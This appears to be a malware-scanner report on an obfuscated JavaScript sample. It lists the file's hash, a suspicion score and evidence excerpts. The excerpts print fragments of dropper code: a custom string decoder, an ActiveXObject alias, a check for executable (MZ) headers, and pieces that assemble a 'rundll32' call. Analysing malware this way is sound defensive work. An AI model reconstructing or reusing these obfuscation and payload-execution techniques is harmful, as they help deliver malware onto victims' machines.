Suspicious ^66% javascript-malware-collection Download

20161221_96f8fa05079a46ebe7864a60a47796a8.js

Obfuscated ActiveX payload execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2569f38bf72da77cfcb3236544be4a8b752ee0491ec91273ef93bc7edffb0f3149e

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikfeasibleFROG2XCOP = 0;	
9     var SupchikfeasibleRazlomSS, SupchikfeasibleFROG2ddDccC2, SupchikfeasibleFROG2c3, SupchikfeasibleFROG2c4;
10
11     var SupchikfeasibleFROG2out = "";
12
13	 var SupchikfeasibleFROG2Supchikfeasibleka= this.replace(/FROSTICK/gi, SupchikfeasibleFROG2out);
14 var  SupchikfeasibleFROG2len = SupchikfeasibleFROG2sud …

charCodeAt() method call lines 18–20

4…  var Supchikfeasiblekoch = SupchikfeasibleFROG2Supchikfeasibleka.charCodeAt(SupchikfeasibleFROG2XCOP++) &(0x132- 0x33);
          SupchikfeasibleRazlomSS = levitron[Supchikfeasiblekoch];
      } while (SupchikfeasibleFROG2XCOP < Supchikfea …

Builds characters with String.fromCharCode lines 27–30

41… +1== 0)
          break;
      SupchikfeasibleFROG2out += String['fromCharCode']((SupchikfeasibleRazlomSS << 2) | ((SupchikfeasibleFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikfeasibleFROG2c3 = Supchikf …

ActiveXObject via local alias lines 185–188

19… leFROG2d2=SupchikfeasibleFROG2DoUtra.pop();
186SupchikfeasibleFROG2fabled="Valar2Morgulis";
var SupchikfeasibleFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikfeasibleFROG2d2.split("45");SupchikfeasibleFROG2Native.SupchikfeasibleFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikfeasibleFROG2$type(a)===b} …

Checks array for PE magic bytes lines 257–264

77… alabaev);	
if(SupchikfeasibleTalabaevLaa < 29989)return false;
if (SupchikfeasibleTalabaev[0]!= 77 || SupchikfeasibleTalabaev[1]!= 90)return false;		
SupchikfeasibleFROG2CHICKA = SupchikfeasibleFROG2CHICKA  + SupchikfeasibleFROG2SIDRENKOV;
REBEKK2(SupchikfeasibleFROG2CHICKA, SupchikfeasibleTalabaev );
262
var SupchikfeasibleFROG2ddsSSddSd = ",happy";
264SupchikfeasibleFROG2ddsSSddSd = (SupchikfeasibleFROG2StrokaParam2,"undl") + (SupchikfeasibleFROG2StrokaParam2,"l32 ") + Supch …